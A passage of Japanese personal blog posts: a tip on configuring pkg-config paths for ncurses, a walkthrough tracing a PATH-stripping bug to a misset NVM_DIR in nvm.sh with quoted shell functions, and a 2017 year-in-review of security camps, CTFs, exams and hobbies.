自分の場合は /usr/lib/pkgconfig があったのでこれを通すようにシェルの設定ファイルに export PKG_CONFIG_PATH=/usr/lib/pkgconfig を追加しました.

そして拡張子がpcのファイルを PKG_CONFIG_PATH に追加する必要がありますが,これらがどこにあるのかわからずググると以下のgistが見つかりました.

gist.github.com

これを参考に,上記でmakeしたディレクトリを /usr/local/opt/ へコピーし,/usr/local/opt/ncurses-5.7 という風にしました.あとは,上記のgistにあるpcファイルの prefix/usr/local/opt/ncurses-5.7 に, Description のバージョンを6.0から5.7にして4つのpcファイルを PKG_CONFIG_PATH に配置してから go get したところ上手く入りました.

libncurses5-dev

ここまでいろいろと書きましたが,これパッケージマネージャーから入らんの?と思い調べてみると, libncurses5-dev というパッケージが見つかったので,これを apt-get install してからパスをいい感じに設定してもよかったかもしれません.

Ubuntu – パッケージのファイル一覧: libncurses5-dev/xenial/amd64

おまけ

OS Xでやっている方もいらっしゃったので,OS Xの人はこちらを参考にするといいと思います.

kandayasu.hatenablog.com

NVM_DIRを正しく設定していなかったせいでパスが破壊されていた話

はじめに

特に書くことがなく4ヶ月ぶりのブログです.

最近golangを始めて, export PATH=$GOPATH/bin:$PATH とかでパスを通そうとしたらなぜかパスが通らないという問題が起きました.いろいろ探っていくとどうやら nvm.sh をsourceしている場所より後ろに配置すると通るという謎現象が起きていて,さらに言うと $GOPATH/bin のbinをhogeとか別の名前にすると通るという意味が分からないことになっていたので, nvm.sh を少し読んでみたら原因がわかったという話です.というかブログのタイトル通りなので,あとはダラダラと書いていきます.

nvm.sh

github.com

nvmはNode Version Managerの略でNode.jsのバージョン管理ツールであり,使っている人も多いのではないでしょうか.僕はNode.jsはほぼ書いたことがないのですが,たまに必要になったりすることもあるので一応使っています.

そんなnvmですが,シェルの設定ファイルとかに nvm.sh を実行するように書いて使用します.この nvm.sh の中にnvmコマンドの本体も書かれています.

nvm() {
  if [ $# -lt 1 ]; then
    nvm --help
    return
  fi

  local DEFAULT_IFS
  DEFAULT_IFS=" $(nvm_echo t | command tr t \\t)
"
  if [ "${IFS}" != "${DEFAULT_IFS}" ]; then
    IFS="${DEFAULT_IFS}" nvm "$@"
    return $?
  fi
...........................

起きていた現象について

まず, nvm.sh をsourceしている直前で $GOPATH/binのパスを通してから echo $PATH で正しく反映されていることを確認しました.その後, nvm.sh の直後にも echo $PATH を置いて,パスの頭に追加した $GOPATH/binそっくり消えていることも確認しました.これは冒頭でも書いたようにbinを別名にすると通ります.

そこで, nvm.sh を読むことにしました.この時僕が使っていた nvm.sh は少し古いものでしたが(ver 0.33.1),最新版(ver 0.33.9)を持ってきてもパスが通らないことに変わりはありませんでした.以下,まずは古い nvm.sh(0.33.1) について書きます.

nvm.sh では nvm_process_parametersという関数を実行していてその中でさらに nvm_auto を実行しています.この nvm_auto の中にあった以下の行でパスは更新されていました.

.......
   VERSION="$(nvm_resolve_local_alias default 2>/dev/null || nvm_echo)"
    if [ -n "$VERSION" ]; then
      nvm use --silent "$VERSION" >/dev/null
.......

VERSION には v8.11.1などが入ってきます.次に,nvmのuseというサブコマンドを見てみます.nvmに渡されたサブコマンドはcase文によって分岐していて,useも同様です.

    "use" )
      local PROVIDED_VERSION
      local NVM_USE_SILENT
      NVM_USE_SILENT=0
      local NVM_DELETE_PREFIX
      NVM_DELETE_PREFIX=0
.......

このuseの中に以下のような行を見つけました.

.......
      # Strip other version from PATH
      PATH="$(nvm_strip_path "$PATH" "/bin")"
.......

見るからに原因がこれっぽいです....

nvm_strip_path を見てみると,

nvm_strip_path() {
  if [ -z "${NVM_DIR-}" ]; then
    nvm_err '${NVM_DIR} not set!'
    return 1
  fi
  nvm_echo "${1-}" | command sed \
    -e "s#${NVM_DIR}/[^/]*${2-}[^:]*:##g" \
    -e "s#:${NVM_DIR}/[^/]*${2-}[^:]*##g" \
    -e "s#${NVM_DIR}/[^/]*${2-}[^:]*##g" \
    -e "s#${NVM_DIR}/versions/[^/]*/[^/]*${2-}[^:]*:##g" \
    -e "s#:${NVM_DIR}/versions/[^/]*/[^/]*${2-}[^:]*##g" \
    -e "s#${NVM_DIR}/versions/[^/]*/[^/]*${2-}[^:]*##g"
}

このように渡された引数を sed を使って置換しています.第1引数には現在のパスを,第2引数には"/bin"という文字列を渡していて,冒頭で説明した追加しているのに消えているパスというのは /home/yyy/.go/bin です.これは先頭に追加していたので,追加後は /home/yyy/.go/bin:/home/yyy/... という風になるはずです.

また, NVM_DIR はどんな値になっているのか調べてみると NVM_DIR=/home/yyy になっていました.

ということでsedで置換している1行目, ${NVM_DIR}/ は"/home/yyy/"になり, [^/] は否定の文字クラスであり"/"以外全てを表し,直後の*である0回以上の繰り返しによって".go"が当てはまり,その後の ${2-} が"/bin,最後の":"も合わせて `/home/yyy/.go/bin:" が当てはまってしまうことになります.

よって,sedのこの1行目でパスが破壊されていたということになります.

NVM_DIRについて

謎の現象が起きていた原因はもちろん, NVM_DIR を正しく設定していなかったことです.なにを見て追加したかは忘れましたが,とにかく設定ファイルに NVM_DIR は書いてありませんでした....

それでも NVM_DIR が設定されていたのは nvm.sh の以下の箇所が原因でした.

# Auto detect the NVM_DIR when not set
if [ -z "${NVM_DIR-}" ]; then
  # shellcheck disable=SC2128
  if [ -n "${BASH_SOURCE-}" ]; then
    # shellcheck disable=SC2169
    NVM_SCRIPT_SOURCE="${BASH_SOURCE[0]}"
  fi
  # shellcheck disable=SC1001
  NVM_DIR="$(nvm_cd ${NVM_CD_FLAGS} "$(dirname "${NVM_SCRIPT_SOURCE:-$0}")" > /dev/null && \pwd)"
  export NVM_DIR
fi
unset NVM_SCRIPT_SOURCE 2> /dev/null

NVM_CD_FLAGS は "-q" になっていて, nvm_cd というのは以下のようになっています.

nvm_cd() {
  # shellcheck disable=SC1001,SC2164
  \cd "$@"
}

また, "$(dirname "${NVM_SCRIPT_SOURCE:-$0}")"nvm.sh があるディレクトリになるので,僕の場合 "$(nvm_cd ${NVM_CD_FLAGS} "$(dirname "${NVM_SCRIPT_SOURCE:-$0}")" > /dev/null && \pwd)" は以下のような文字列になるはずです.

cd -q /home/yyy/.nvm > /dev/null && \pwd

.nvm絶対パスを取得して,この結果を NVM_DIR に格納していると思うのですが, -q オプションをつけるのとつけないので比較してみると, -q を付けた場合は格納される値がホームディレクトリの絶対パスになります.そもそも -q オプションなんて cd にはないと思うのですが,よくわかりません.

NVM_CD_FLAGS は以下の箇所で定義されています.

# Make zsh glob matching behave same as bash
# This fixes the "zsh: no matches found" errors
if [ -z "${NVM_CD_FLAGS-}" ]; then
  export NVM_CD_FLAGS=''
fi
if nvm_has "unsetopt"; then
  unsetopt nomatch 2>/dev/null
  NVM_CD_FLAGS="-q"
fi

このコメントを見る限り, NVM_CD_FLAGS は必要なものだと思います.これを除いて NVM_DIR="$(nvm_cd "$(dirname "${NVM_SCRIPT_SOURCE:-$0}")" > /dev/null && \pwd)" とすると, NVM_DIR には.nvmの絶対パスが入ってくれるのですが....

最新版のnvm.sh

現在(2018/04/20)の最新版は 0.33.9 です.この nvm.sh では上記の箇所が以下のように変わっていました.

# Change current version
PATH="$(nvm_change_path "$PATH" "/bin" "$NVM_VERSION_DIR")"
nvm_change_path() {
  # if there’s no initial path, just return the supplementary path
  if [ -z "${1-}" ]; then
    nvm_echo "${3-}${2-}"
  # if the initial path doesn’t contain an nvm path, prepend the supplementary
  # path
  elif ! nvm_echo "${1-}" | nvm_grep -q "${NVM_DIR}/[^/]*${2-}" \
    && ! nvm_echo "${1-}" | nvm_grep -q "${NVM_DIR}/versions/[^/]*/[^/]*${2-}"; then
    nvm_echo "${3-}${2-}:${1-}"
  # use sed to replace the existing nvm path with the supplementary path. This
  # preserves the order of the path.
  else
    nvm_echo "${1-}" | command sed \
      -e "s#${NVM_DIR}/[^/]*${2-}[^:]*#${3-}${2-}#g" \
      -e "s#${NVM_DIR}/versions/[^/]*/[^/]*${2-}[^:]*#${3-}${2-}#g"
  fi
}

nvm_strip_path ではなく nvm_change_path を使っています.これも同様に,sedの1行目に当てはまってしまっていたのでパスが消えていたという事でした.

まとめ

結局 NVM_CD_FLAGS がなぜ必要なのかわからず,バグなのかどうかもわからずじまいでした.issueでも立てたほうがいいんですかね....

NVM_DIR を正しく設定しましょうという話でした.

2017年を振り返る

去年も1年を振り返る記事を書いた.

ywkw1717.hatenablog.com

これが意外とその時期に何をやっていたのかわかったりして便利だったので,今年も1年の振り返りを書いておこうと思う.

去年みたいに携帯の画像欄を漁っていく.

1月

アセンブラ短歌

f:id:ywkw1717:20171231155417p:plain 新年なにをやっていたか見てみたら,アセンブラ短歌を勉強していた.バイト先の勉強会でやろうと思っていろいろ試行錯誤していた時期.限られたバイト数でアセンブリを書く技術はCTFでシェルコードを書いた時に役に立ったし,なによりアセンブラ短歌という文化が面白いので,オススメ.

ノートPCのメモリ増設

ywkw1717.hatenablog.com

今ではもう使っていないPCだけど,この時メモリもっと欲しいなぁと思って増設していた.結果的に快適環境になったし,買ってよかった.

2月

絵ろうそく祭り

f:id:ywkw1717:20171231160455p:plain

f:id:ywkw1717:20171231160847p:plain

会津では毎年2月に絵ろうそく祭りというのが開催される.多くの絵ろうそくが鶴ヶ城に設置されてめっちゃ綺麗なんだけど,これのバイトをやることになって,鎧を着て観光客と写真撮影するっていう仕事を友達と一緒にやっていた.足周りがくそ寒くて,辛かった覚えがある.

双葉杏を描いた

f:id:ywkw1717:20171231161145p:plain

双葉杏が可愛いので,描いた.模写じゃなくてオリジナルのポーズでキャラクターを描くのは初めてで苦戦してた.

後から細かく見直すと修正したくなるところが多々でてくるので,あまり直視しないようにしていたりする.

3月

FUKUSHIMA Hackathon 2017 セキュリティ部門

fukushimahackathon2017.peatix.com

セキュリティ部門で参加した.このハッカソンはバイト先が開催しているやつで,参加者として出れることになったのでセキュリティ部門で脆弱性を探していた.圧倒的技術力不足でほとんどなにもできなかったけど,参加者に某有名CTFチームの人や某セキュリティベンダーのメンバーで構成されたチームが出ていたり,プロの凄さに圧倒された.

f:id:ywkw1717:20171231162107p:plain

ThinkPad X1 Carbon を買った

f:id:ywkw1717:20171231162050p:plain

今年一番,いや過去最高の買い物かもしれない.入学当時から使っていたPCが物理的な限界を迎えていて,スペックがもっといいPCが欲しいなぁと思っていたので思い切って購入した.確か18万ぐらいで,親に12万借りて一括で買った.その12万は今でも返済していて,終わるのは来年の4月頃になりそう.

X1 Carbon よい.

4月

新入生LT

f:id:ywkw1717:20171231162444p:plain

バイト先が開催している新入生LT.自分は,ノートPCのWebカメラは必要ない時以外は塞いでセキュリティ意識高めましょうみたいな話をした.Kaliを使ってデモをしようとしていたが,会場のネットワークがゴミで結局できなかったのを覚えている.

応用情報技術者試験

午後の点数が27点も足りなくて落ちる.FEの時もそうだったけど,3週間前くらいになってからノロノロ始めて焦るやつをまたやってしまって,FEみたいにいけるやろとか思ってたら甘かった....秋にまた受けた.

5月

モーニング娘。'17ライブ in 仙台

f:id:ywkw1717:20171231164630p:plain

画像は帰りに食べた牛タン.さすが仙台というだけあって,今まで食べた牛タンの中で一番美味かった.誘われてライブに行くことになったけど,メンバーの中の「工藤遥」って子可愛いなぁぐらいにしか思ってなかった.

だけど実際にライブが始まってみるとモーニング娘。半端ない.めっちゃかっこよくて女性ファンが多い理由もわかった.リアル工藤遥を遠目だけど目にしてしまい,ハマることになる.

セキュリティキャンプ全国大会2017の応募用紙

f:id:ywkw1717:20171231165157p:plain

5月はなんといってもこれ.1ヵ月丸々費やしていて,GWで帰省した実家でも大学でも自宅でも,ひたすら応募用紙を書いていた.応募できるのは年齢的に最初で最後だし,異常なほど時間を費やしていて,毎日頭から離れなかった.

最初は,共通問題を埋めながら選択問題のA-4を進めていた.そしてその後A-6に1週間かけて取り組み,PEファイルをパースするプログラムをCで書いた.最後に残しておいたA-5がかなり難しくて,上に貼った画像がそれなんだけど,わからないことが多すぎて辛かった.けど,調べて実践しての繰り返しで試行錯誤しまくり,その過程を応募用紙で熱く語った.文字数的には5万字オーバーで作文用紙100枚以上書いていたわけで,今振り返ると異常.

6月

地元の風景を描いた

f:id:ywkw1717:20171231171722p:plain

地元の風景をモチーフに,絵を描いた.友達が描いた絵とか見ると自分の絵の雑さや粗さが目立つので,もっと綺麗に描けるようになったらなぁとか思ったりはする.これ以来絵を描いていなくて引退しつつあるが,描きたいと思ったときに描くのがちょうどいいのかも.

セキュリティキャンプ格通

f:id:ywkw1717:20171231172046p:plain

合格した!!!!!!!!!!!!!!

確かメールが来たのは大学で講義を受けているときで,嬉しすぎて講義の内容とか1ミリも入ってこなかった.一緒に応募していた友人も受かっていて,最高だった.

7月

逆求人イベント(渋谷)

f:id:ywkw1717:20171231172225p:plain

初めての逆求人イベント.よね君に紹介されて渋谷へ.画像は渋谷で朝に食べたオシャレパンケーキ.

参加したことない身としては,あ~逆求人とか最近よく聞くね~ってぐらいの感覚で,具体的にどんなことをやっているのか全く知らなかった.参加してみるといろんな企業の人事やエンジニアと話せて自分のアピールができて,またそれに対するアドバイスを貰えるので,自己分析とかしたことがなかった自分としては,客観的な意見はとても貴重だったし,1度は参加したほうがいいと思うイベントだった.

エフスタ!!勉強会&東北情報セキュリティ勉強会

techplay.jp

猪俣さんの話ではRSAの話はサイドチャネル攻撃の話があり,また法林さんからはコミュニティの運営側の話を聞くことができ,勉強になった.郡山で開かれたのも良くて,交通費が東京ほどかからないので,是非もっといろんなイベントを開催してほしい.

8月

SECCON2017 x CEDEC CHALLENGE

大学院の先輩含めた3人で wabisabi from ISM というチームを組み,参加した.序盤は順調だったけど,本題であるゲームアプリの解析は難航していて,簡単なチートしかできなかったのが悔やまれる.それでも6位とかで,参加したチームは40以上いたらしいので,意外と順位は上のほうだったっぽい.キャンプが始まって時間が取れなかったので,最終日に解析結果を先輩に丸投げしてスライド作成をお願いしてしまったので,来年はもっと計画的にやりたい.

セキュリティキャンプ全国大会2017

f:id:ywkw1717:20171231175045p:plain

ywkw1717.hatenablog.com

キャンプどうだった?と聞かれるとき,毎回決まって「人生が変わるキャンプ」と雑に応えてるけど当然嘘は言ってなくて,本当にそれぐらいすごいイベントで,一言で言い表すなんてできない.参加者は技術的にずば抜けた人や頭がキレる人とか,人としてスペック高いやろみたいな人達ばかりで,圧倒された.もっともっと成長していきたい.

株式会社ラック インターン

ywkw1717.hatenablog.com

マルウェア解析をした.それとJSOCを見学させて貰えて,とても綺麗だった.

下手なことは書けないためか,文章が出てこない.

Katagaitai CTF 勉強会

f:id:ywkw1717:20171231175024p:plain

恒例のKatagaitai勉強会.ReversingとWebをやって,Reversingはbataさんが担当で Hack.lu CTF 2012 Reversing 500 DonnBeach をやった.ついていくのに必死で難しかった.セキュキャン勢と早めの再開を果たし,一緒にご飯食べたりした.午後はWebでやぎはしゅさんが担当.ひたすらXSSしていた.

9月

男10人で車を借りて富士急へ

f:id:ywkw1717:20171231175449p:plain

f:id:ywkw1717:20171231175508p:plain

大規模遠征.静岡の旅館に泊まってから富士急へ.富士急は初めてでワクワクしながら行ったんだけど,アトラクション系が全部乗り物酔いの要素が含まれていて辛かった.特にトンデミーナとかいうアトラクションは面白要素無いし,ただひたすらに酔わされて,人生最悪な乗り物だった.でも絶叫系は普通に楽しかったし,最後に高飛車に乗るかどうかで渋って,結局乗ってみたら綺麗な夜景をみることができて最高だった.次の大規模遠征はどこになるだろう.

SECCON Beginners 2017 仙台

ywkw1717.hatenablog.com

CTF初心者ではないけどWebを全く知らなかったり,他にも参加したい理由があって仙台へ.ステッカーが貰えたので早速貼ったりした.

10月

応用情報技術者試験 再び

再びの受験.今度は前回受けた時の知識が貯金として脳内にあるだろうと思って,残り3週間切ったときから勉強を始めた.当日は午前はまぁまぁ,午後は30分ぐらい余ったりして合格を確信するぐらいは手応えがあった.結果受かってたので,早く奨励金の2万円が欲しい.

11月

A(izu)LT 0x09

www.slideshare.net

「シェルを起動するまほうのことば」で発表した.他の発表者のレベルが高くてビビった.

仙台CTF 2017

f:id:ywkw1717:20171231181404p:plain

仙台でフォレンジックの講義を含めたCTFがあるということで,参加した.参加者は30人弱ぐらい.Beginnersみたいな感じで,講義と個人戦のCTFがセットになっていた.Top3にはトロフィーなどがあって,少しはやっているんだし取れるっしょとか思って挑んだら,後半で失速してしまい,8位という悔やまれる結果に.Webの問題は1問目がわからないと,それ以降の問題が解けないようになっていて,1問目がわからずタイムアップ.解答は id:admin , password:admin で入れちゃうということで, id:adminSQLインジェクションを考えていた自分は「エスパー問題かよw」とか思ったけど,実際にそういう事例があるらしい.一緒に参加していたkobadlveは2位に入っていて流石だった.

Hardening 2017 Fes

f:id:ywkw1717:20171231181640p:plain

バイト先が4年前に優勝しているらしく,また参加することになって社員さんに誘われて参加した.全力で競技に挑み,全力で観光し,本当に充実した4日間だった.まだまだ技術力不足なのを痛感.

人生で初めて4日連続で温泉に入るということを経験した.明石海峡大橋を見ながら入る露天風呂とか最高だったし,淡路島よい.

12月

SECCON 2017 Online予選

f:id:ywkw1717:20171231182012p:plain

ywkw1717.hatenablog.com

Qubic Rubeの印象が強すぎる.Web強いマンがいたら + あと1,2問解けていたらもしかしたら国内決勝には出れたっぽくて,悔しいので来年また参加する.

Advent Calendar

ywkw1717.hatenablog.com

ywkw1717.hatenablog.com

2つのAdvent Calendarに投稿した.

Google Home Mini が家にきた

f:id:ywkw1717:20171231182323p:plain

バイト先のプレゼン大賞で,自分がやったアセンブラ短歌のやつとルービックキューブのプレゼン2つが同率1位になり,Google Home Mini を貰うことができた.まだ,天気とか音楽とかでしか使ってないので有効活用していきたい.

まとめ

大晦日1日で一気に書いたのでなにか抜けているイベントがありそうだけど,画像欄見る限りはこれぐらいっぽい.

今年は,"経験"というインプットを大量にできた年だったと思う.逆に言うと技術書とかをあまり読めてなくて,Webの情報からのインプットが多かったためにどうしても部分的なものになってしまい,体系的に学ぶということができていなかった.

だけど,成長という面で見たらかなりでかくて,ある程度経験を積むことで大局的な視点を持つことができたし,今自分に足りないものがなんなのかを見極めることができた.

去年のブログで,こうなったらいいなぁという目標っぽいのを書いたらその通りになったので今年も書いておくと,来年は経験より知識としてのインプットを増やしていきたい.当然アウトプットもしないと定着していかないと思うのでそちらも重視するけど,とにかく本を読もうと思った.それと,英語もどうにかしたい.最近話すにしても書くにしても,なにかと英語に触れる機会が多くなってきたので,英語力の向上が必要っぽい.

今年が充実しすぎていたので来年下がりそうで心配だけど,なんとかやっていきたい.